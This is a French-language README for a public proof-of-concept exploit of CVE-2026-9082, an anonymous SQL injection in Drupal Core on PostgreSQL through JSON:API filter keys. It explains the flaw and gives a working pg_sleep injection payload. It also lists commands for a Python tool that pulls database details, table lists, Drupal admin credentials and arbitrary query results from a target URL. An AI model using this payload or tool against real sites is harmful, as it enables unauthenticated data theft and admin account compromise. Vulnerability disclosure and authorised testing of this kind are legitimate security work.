
PoC d'injection SQL PostgreSQL pour Drupal Core - CVE-2026-9082. PoC éthique pour la vulnérabilité Drupal permettant une injection SQL anonyme via le module JSON:API sur les sites utilisant PostgreSQL.
Ce dépôt fournit une preuve de concept (PoC) éthique pour CVE-2026-9082, une vulnérabilité d'injection SQL Hautement Critique dans Drupal Core affectant tous les sites utilisant PostgreSQL exécutant Drupal 8.0 à 11.3.9.
Le défaut réside dans le gestionnaire de condition de requête d'entité PostgreSQL et peut être exploité par des utilisateurs anonymes (non authentifiés) via le module JSON:API, qui est activé par défaut depuis Drupal 9.
Avis officiel : SA-CORE-2026-004
Drupal Core inclut une API d'abstraction de base de données conçue pour assainir les requêtes
et prévenir les injections SQL. Un défaut dans la classe de condition de requête d'entité
spécifique à PostgreSQL (core/modules/pgsql/src/EntityQuery/Condition.php)
permet à un attaquant d'injecter du SQL arbitraire via des clés de tableau
contrôlées par l'utilisateur transmises via les paramètres de filtre JSON:API.
translateCondition() dans la classe Condition PostgreSQL
itère sur $condition['value'] et utilise les
clés du tableau pour construire des noms de placeholders PDO :$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_].
Lorsque la clé contient ), PDO arrête l'analyse du nom du placeholder —
tout ce qui suit devient du SQL littéral injecté dans la requête.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--,
l'attaquant ferme la clause IN() et ajoute du SQL arbitraire,
tandis que la liaison pour :prefix_1 est satisfaite par une clé
légitime 1 dans la même requête.
Cet outil est destiné uniquement aux tests de sécurité autorisés, à des fins éducatives et à la recherche éthique. L'accès non autorisé à des systèmes informatiques est illégal.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
python3 CVE-2026-9082.py